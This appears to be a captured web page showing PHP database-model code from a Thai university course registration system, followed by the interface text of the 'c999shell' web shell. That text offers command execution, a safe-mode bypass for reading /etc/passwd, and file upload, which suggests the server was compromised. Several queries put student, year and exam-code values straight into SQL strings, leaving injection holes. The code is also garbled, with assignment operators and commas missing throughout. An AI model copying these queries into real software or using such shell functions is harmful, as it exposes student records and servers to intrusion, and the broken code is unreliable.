     * หน้าที่ของฟังก์ชั่น คือ หาผลรวมของหน่วยกิต ในกรณีที่เปิดเรียนรวมหลายหลักสูตร
     *
     * @access    public
     * @param    array condition โดยรูปแบบของ array จะอยู่ในรูป condition('key' => value) ไว้สำหรับระบุเงื่อนไขของคำสั่ง SELECT
     * @param    array order โดยรูปแบบของ array จะอยู่ในรูป condition('key' => value) ไว้สำหรับระบุเงื่อนไขการเรียงลำดับ ORDER BY
     * @param    array group โดยรูปแบบของ array จะอยู่ในรูป condition('key' => value) ไว้สำหรับระบุเงื่อนไขการจัดกลุ่ม GROUP BY
     * @return    numCredit คือ ค่าผลรวมของหน่วยกิต
     * @todo    use
                     /*WHERE coAcY=2551
                AND coTmId=1
                AND cofCurId=5
                AND stdAdY=2551";
     */
    
public function getSumCreditAttemptCurIsNULL($condition="",$order="",$group="") {
        
$where $this->checkCondition($condition);
        
$order $this->checkOrderBy($order);
        
$group $this->checkGroupBy($group);

        
$c1 substr($where0, -3);
        
$c2 substr($order0, -1);
        
$c3 substr($group0, -1);

        
$sql "SELECT IFNULL(SUM(rdCreditAttempt), 0) AS numCredit
                FROM $this->rg_dbname.rg_CourseOpen
                INNER JOIN $this->rg_dbname.rg_RegistDetails ON coId=rdCoId
                INNER JOIN $this->rg_dbname.rg_Student ON rdStdId=stdId
                INNER JOIN $this->rg_dbname.rg_CourseOpenFor ON cofCurId=stdCurId
                $c1
                AND coCurId IS NULL
                $c3
                $c2"
;
        
$query $this->db->query($sql);
        if(
$query->num_rows()) {
            
$num $query->row();
            return (
$num->numCredit==NULL) ? $num->numCredit;
        } else {
            return 
0;
        }
    }

    
/**
     * หน้าที่ของฟังก์ชั่น คือ หาผลรวมของหน่วยกิต ในแต่ละเทอม ตามเงื่อนไข
     *
     * @access    public
     * @param    array condition โดยรูปแบบของ array จะอยู่ในรูป condition('key' => value) ไว้สำหรับระบุเงื่อนไขของคำสั่ง SELECT
     * @param    array order โดยรูปแบบของ array จะอยู่ในรูป condition('key' => value) ไว้สำหรับระบุเงื่อนไขการเรียงลำดับ ORDER BY
     * @param    array group โดยรูปแบบของ array จะอยู่ในรูป condition('key' => value) ไว้สำหรับระบุเงื่อนไขการจัดกลุ่ม GROUP BY
     * @return    numCredit คือ ค่าผลรวมของหน่วยกิต
     * @todo    use
     */
    
public function getSumCreditAttemptEachTerm($condition="",$order="",$group="") {
        
$where $this->checkCondition($condition);
        
$order $this->checkOrderBy($order);
        
$group $this->checkGroupBy($group);

        
$c1 substr($where0, -3);
        
$c2 substr($order0, -1);
        
$c3 substr($group0, -1);

        
$sql "SELECT IFNULL(sum(rdCreditAttempt), 0) AS numCredit
                FROM $this->rg_dbname.rg_RegistDetails
                $c1
                $c3
                $c2"
;
        
$query $this->db->query($sql);
        if(
$query->num_rows()) {
            
$num $query->row();
            return (
$num->numCredit==NULL) ? $num->numCredit;
        } else {
            return 
0;
        }
    }
    
    
/**
     * หน้าที่ของฟังก์ชั่น คือ หารายวิชาลงทะเบียนเรียน ตามเงื่อนไข
     *
     * @access    public
     * @param    array condition โดยรูปแบบของ array จะอยู่ในรูป condition('key' => value) ไว้สำหรับระบุเงื่อนไขของคำสั่ง SELECT
     * @param    array order โดยรูปแบบของ array จะอยู่ในรูป condition('key' => value) ไว้สำหรับระบุเงื่อนไขการเรียงลำดับ ORDER BY
     * @param    array group โดยรูปแบบของ array จะอยู่ในรูป condition('key' => value) ไว้สำหรับระบุเงื่อนไขการจัดกลุ่ม GROUP BY
     * @return    $query >= 1 row: rg_RegistDetails.*, rg_CourseOpen.*, rg_Course.* 
        edit 22/1/2556
     */
    
public function qryRdJoinCoCrs($condition='',$order='',$group='') {
        
$where $this->checkCondition($condition);
        
$order $this->checkOrderBy($order);
        
$group $this->checkGroupBy($group);
        
        
$c1substr($where0, -3);
        
$c2substr($order0, -1);
        
$c3substr($group0, -1);

        
$sql "SELECT *
                FROM $this->rg_dbname.rg_RegistDetails
                INNER JOIN $this->rg_dbname.rg_CourseOpen ON rdCoId=coId
                INNER JOIN $this->rg_dbname.rg_Course ON coCrsId=crsId
                LEFT JOIN $this->rg_dbname.rg_RegistFee ON rdAcY=rfAcY AND rdTmId=rfTmId  AND rdStdId=rfStdId
                LEFT JOIN $this->rg_dbname.rg_StudentSummary ON rdAcY=ssmAcY AND rdTmId=ssmTmId  AND rdStdId=ssmStdId
                $c1
                $c3
                $c2"
;
        
$query $this->db->query($sql);
        return 
$query;
    }

    function 
qryRdJoinCoCrsRg($condition='',$order='') {
        
$where $this->checkCondition($condition);
        
$order $this->checkOrderBy($order);

        
$c1substr($where0, -3);
        
$c2substr($order0, -1);

        
$sql "SELECT * 
                FROM $this->rg_dbname.rg_RegistDetails 
                INNER JOIN $this->rg_dbname.rg_CourseOpen ON rdCoId=coId 
                INNER JOIN $this->rg_dbname.rg_Course ON coCrsId=crsId 
                INNER JOIN $this->rg_dbname.rg_Regist ON rdStdId = rgStdId AND rdAcY = rgAcY AND rdTmId = rgTmId AND rdSeq = rgSeq 
                $c1
                $c2"
;
        
$query $this->db->query($sql);
        return 
$query;
    }

    public function 
qryRdByAcYTmIdGroupCurIdSyIdCrsId($acY$tmId) {
        
$sql "SELECT MIN(rdCoId) AS rdCoId 
                    FROM $this->rg_dbname.rg_RegistDetails, $this->rg_dbname.rg_CourseOpen, $this->rg_dbname.rg_Course 
                    WHERE rdAcY = ? 
                    AND rdTmId = ? 
                    AND rdCoId = coId 
                    AND coCrsId = crsId 
                    GROUP BY coCurId, coSyId, coCrsId 
                    ORDER BY coCurId, crsCode, crsName, CAST(coSection AS SIGNED)"
;
        
$query $this->db->query($sql, array($acY$tmId));
        return 
$query;
    }

    public function 
qryRdByAcYTmIdGroupCoId($acY$tmId) {
        
$sql "SELECT rdCoId 
                    FROM $this->rg_dbname.rg_RegistDetails, $this->rg_dbname.rg_CourseOpen, $this->rg_dbname.rg_Course 
                    WHERE rdAcY = ? 
                    AND rdTmId = ? 
                    AND rdCoId = coId 
                    AND coCrsId = crsId 
                    GROUP BY rdCoId 
                    ORDER BY coCurId, crsCode, crsName, CAST(coSection AS SIGNED)"
;
        
$query $this->db->query($sql, array($acY$tmId));
        return 
$query;
    }

    public function 
qryRdByClIdStrGradeIsEmpty($clIdStr) {
        
$sql "SELECT * 
                    FROM $this->rg_dbname.rg_RegistDetails 
                    INNER JOIN $this->rg_dbname.rg_Student ON rdStdId=stdId
                    WHERE rdCoId IN ($clIdStr) 
                    AND rdGrade = ''
                    AND stdSstId IN (1)"
;
        
$query $this->db->query($sql);
        return 
$query;
    }

    public function 
qryRdByStdIdClIdStr($stdId$clIdStr) {
        
$sql "SELECT * 
                    FROM $this->rg_dbname.rg_RegistDetails 
                    WHERE rdStdId = ? 
                    AND rdCoId IN ($clIdStr)"
;
        
$query $this->db->query($sql, array($stdId));
        return 
$query;
    }

    public function 
qryRdByStdIdAcYSendGrIsNUnionGradeInIEPX($stdId$acY) {
        
$sql "SELECT ei.* 
            FROM $this->rg_dbname.rg_RegistDetails ei, $this->rg_dbname.rg_CourseOpen 
            WHERE rdStdId = ? 
            AND rdAcY = ? 
            AND rdCoId = coId 
            AND coSendGradeStatus = 'N' 
        UNION 
        SELECT ei.* 
            FROM $this->rg_dbname.rg_RegistDetails ei 
            WHERE rdStdId = ? 
            AND rdAcY = ? 
            AND rdGrade IN ('I', 'E', 'P', 'X', '')"
;
        
$query $this->db->query($sql, array($stdId$acY$stdId$acY));
        return 
$query;
    }

    function 
getSumCrAtByStdIdCdId1($stdId$cdId1) {
        
$sql "SELECT IFNULL(SUM(rdCreditAttempt), 0) AS num 
                        FROM $this->rg_dbname.rg_RegistDetails 
                        WHERE rdStdId = ? 
                        AND rdCdId1 = ? 
                        AND rdGrade != 'F'"
;
        
$query $this->db->query($sql, array($stdId$cdId1));
        return 
$query->row()->num;
    }

    function 
getSumCrAtByStdIdCdId1CdId2($stdId$cdId1$cdId2) {
        
$sql "SELECT IFNULL(SUM(rdCreditAttempt), 0) AS num 
                        FROM $this->rg_dbname.rg_RegistDetails 
                        WHERE rdStdId = ? 
                        AND rdCdId1 = ? 
                        AND rdCdId2 = ? 
                        AND rdGrade != 'F'"
;
        
$query $this->db->query($sql, array($stdId$cdId1$cdId2));
        return 
$query->row()->num;
    }

    function 
qryRdByStdIdGrade($stdId$str) {
        
$sql "SELECT * 
                        FROM $this->rg_dbname.rg_RegistDetails 
                        WHERE rdStdId = ? 
                        AND rdGrade IN ($str)"
;
        
$query $this->db->query($sql, array($stdId));
        return 
$query;
    }

    function 
qryRdByStdIdGradeIsF($stdId) {
        
$sql "SELECT * 
                        FROM $this->rg_dbname.rg_RegistDetails 
                        WHERE rdStdId = ? 
                        AND rdGrade = 'F'"
;
        
$query $this->db->query($sql, array($stdId));
        return 
$query;
    }

    function 
qryRdByStdIdAcYTmIdCrsId($stdId$acY$tmId$crsId) {
        
$sql "SELECT * 
                        FROM $this->rg_dbname.rg_RegistDetails 
                        INNER JOIN $this->rg_dbname.rg_CourseOpen ON rdCoId = coId 
                        WHERE rdStdId = ? 
                        AND CONCAT(?, ?) > CONCAT(rdAcY, rdTmId) 
                        AND coCrsId = ? 
                        AND rdGrade != 'F'"
;
        
$query $this->db->query($sql, array($stdId$acY$tmId$crsId));
        return 
$query;
    }

    
/****************************** Start Pass Student ******************************/
    
public function getCountGradeByStdIdAcYGradeIsF($stdId$acY) {
        
$sql "SELECT COUNT(rdGrade) AS num 
                        FROM $this->rg_dbname.rg_RegistDetails 
                        WHERE rdStdId = ? 
                        AND rdAcY = ? 
                        AND rdNoCalGPA = 'N' 
                        AND rdGrade = 'F'"
;
        
$query $this->db->query($sql, array($stdId$acY));
        return 
$query->row()->num;
    }

    public function 
qryRdByStdIdAcYCoIdGrInAtoF($stdId$acY$coId) {
        
$sql "SELECT COUNT(ei.rdGrade) AS num 
                        FROM $this->rg_dbname.rg_RegistDetails ei 
                        WHERE rdStdId = ? 
                        AND rdAcY = ? 
                        AND rdCoId = ? 
                        AND EXISTS (
                            SELECT grdGrade 
                                FROM rg_Grade 
                                WHERE grdCalGrade = 'Y' 
                                AND grdGrade = ei.rdGrade
                        )"
;
        
$query $this->db->query($sql, array($stdId$acY$coId));
        return 
$query->row()->num;
    }

    public function 
getPassStatusByStdIdAcY($stdId$acY) {
        
$ci =& get_instance();
        
$ci->load->model($this->config->item("rg_folder").'mo_rg_student','std');
        
$ci->load->model($this->config->item("rg_folder").'mo_rg_curriculum','cur');
        
$ci->load->model($this->config->item("rg_folder").'mo_rg_acadconfig','ac');

        
$ci->std->stdId $stdId;
        
$qu_std $ci->std->get_by_key();
        
$row_std $qu_std->row();

        
$ci->cur->curId $qu_std->row()->stdCurId;
        
$qu_cur $ci->cur->get_by_key();

        
$qu_ac $ci->ac->get_by_key();
        
$row_ac $qu_ac->row();

        if (
$row_std->stdSstId==|| $row_std->stdSstId==|| intval($acY $row_std->stdAdY)>$qu_cur->row()->curMaxStudyY) {
            return 
5;
        } else {
            if (
$row_std->stdTotalPoint 80) {
                return 
4;
            } else {
                if (
$row_std->stdGPA >= $row_ac->acAnnualGPAX) {
                    if (
$this->getCountGradeByStdIdAcYGradeIsF($stdId$acY) == 0) {
                        return 
1;
                    } else {
                        return 
2;
                    }
                } else if (
$row_std->stdGPA>=1.95 && $row_std->stdGPA<$row_ac->acAnnualGPAX) {
                    return 
3;
                } else {
                    return 
4;
                }
            }
        }
    }
    
/****************************** End Pass Student ******************************/

    
public function getCountStdId($condition='') {
        
$where $this->checkCondition($condition);
        
        
$c1substr($where0, -3);

        
$sql "SELECT COUNT(rdStdId) AS num
                FROM $this->rg_dbname.rg_RegistDetails
                $c1"
;
        
$query $this->db->query($sql);
        return 
$query->row()->num;
    }

    
/**
     * หน้าที่ของฟังก์ชั่น คือ หารายวิชา และเกรดที่นักศึกษาลงทะเบียนเรียน
     *
     * @access    public
     * @param    array condition โดยรูปแบบของ array จะอยู่ในรูป condition('key' => value) ไว้สำหรับระบุเงื่อนไขของคำสั่ง SELECT
     * @param    array order โดยรูปแบบของ array จะอยู่ในรูป condition('key' => value) ไว้สำหรับระบุเงื่อนไขการเรียงลำดับ ORDER BY
     * @param    array group โดยรูปแบบของ array จะอยู่ในรูป condition('key' => value) ไว้สำหรับระบุเงื่อนไขการจัดกลุ่ม GROUP BY
     * @return    query >= 1 rows () : rg_RegistDetails.*, rg_Student.*, rg_StudentSummary.*
     * @todo    use
     WHERE rdCoId=?, rdAcY=?, rdTmId=?, stdSstId=1
     WHERE rdCoId=?, rdAcY=?, rdTmId=?, ssmSstId=1
     */
    
function qryRdJoinStdSsm($condition1="",$condition2="") {
        
$where1 $this->checkCondition($condition1);
        
$where2 $this->checkCondition($condition2);

        
$c1 substr($where10, -3);
        
$c2 substr($where20, -3);

        
$sql "SELECT *
                FROM (SELECT rg_RegistDetails.*, rg_Student.*, Prefix.*
                        FROM $this->rg_dbname.rg_RegistDetails
                        LEFT JOIN $this->rg_dbname.rg_Student ON rdStdId=stdId
                        LEFT JOIN $this->ppc_dbname.Prefix ON stdPfId=prefixId
                        $c1
                      UNION
                      SELECT rg_RegistDetails.*, rg_Student.*, Prefix.*
                        FROM $this->rg_dbname.rg_RegistDetails
                        LEFT JOIN $this->rg_dbname.rg_StudentSummary ON rdStdId=ssmStdId
                        LEFT JOIN $this->rg_dbname.rg_Student ON rdStdId=stdId
                        LEFT JOIN $this->ppc_dbname.Prefix ON stdPfId=prefixId
                        $c2)
                AS tt ORDER BY stdCode"
;
        
$query $this->db->query($sql);
        return 
$query;
    }

    function 
getCountStdIdByGrade($clIdStr$acY$tmId$grade) {
        
$sql "SELECT COUNT(rdStdId) AS num 
                    FROM $this->rg_dbname.rg_RegistDetails 
                    WHERE rdCoId IN ($clIdStr) 
                    AND rdAcY = ? 
                    AND rdTmId = ? 
                    AND rdGrade = ?"
;
        
$query $this->db->query($sql, array($acY$tmId$grade));
        return 
$query->row()->num;
    }
    
    public function 
RSClassExamByStIdAndAcYAndExCode($stId$acY$exC){
        
$sql "select es.esCoId as coId from $this->rg_dbname.rg_RegistDetails rd, $this->rg_dbname.rg_ExamSchedule es 
                        where rd.rdStdId='$stId' and rd.rdAcY='$acY' 
                        and rd.rdCoId=es.esCoId and es.esExamType='$exC' 
                        group by es.esCoId order by es.esDate, es.esPrdFrTime"
;
        
$query $this->db->query($sql);
        return 
$query;
    }
    
    public function 
RSClassExamByTecAndAcYAndExCode($prsId$acY$exC){
        
$sql "SELECT es.esCoId as coId FROM $this->rg_dbname.rg_RegistDetails rd,$this->rg_dbname.rg_ExamSchedule es WHERE rd.rdCoId=es.esCoId and rdAcY= '$acY' and esPrsId = '$prsId' and es.esExamType='$exC' group by es.esCoId order by es.esDate, es.esPrdFrTime";
        
$query $this->db->query($sql);
        return 
$query;
    }
    
        public function 
qryRdGrpRdAcY($stdId) {
        
$sql "SELECT rdAcY     
                FROM $this->rg_dbname.rg_RegistDetails where rdStdId = '$stdId'
                GROUP BY rdAcY     "
;
        
$query $this->db->query($sql);
        return 
$query;
    }

    public function 
get_optionsGrpRdAcY($stdId,$optional='y') {
        
$query $this->qryRdGrpRdAcY($stdId);
        if(
$optional=='y'$opt[''] = '';
        if(
$query->num_rows()>0){
            foreach(
$query->result() as $row) {
                
$opt[$row->rdAcY] = $row->rdAcY;
            }
        }else{
            
$opt = array();
        }
        return 
$opt;
    }

    public function 
qryRdJoinStdOrdStdCode($clIdStr$acY$tmId) {
        
$sql "SELECT *
                FROM $this->rg_dbname.rg_RegistDetails
                INNER JOIN $this->rg_dbname.rg_Student ON rdStdId=stdId
                WHERE rdCoId IN ($clIdStr)
                AND rdAcY = ?
                AND rdTmId = ?
                ORDER BY stdCode"
;
        
$query $this->db->query($sql, array($acY$tmId));
        return 
$query;
    }

    public function 
qryRdJoinCoByGrade($condition='') {
        
$where $this->checkCondition($condition);

        
$c1substr($where0, -3);

        
$sql "SELECT * 
                FROM $this->rg_dbname.rg_RegistDetails 
                INNER JOIN $this->rg_dbname.rg_CourseOpen ON rdCoId = coId 
                $c1
                AND rdGrade <> ''"
;
        
$query $this->db->query($sql);
        return 
$query;
    }
}
?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0211 ]--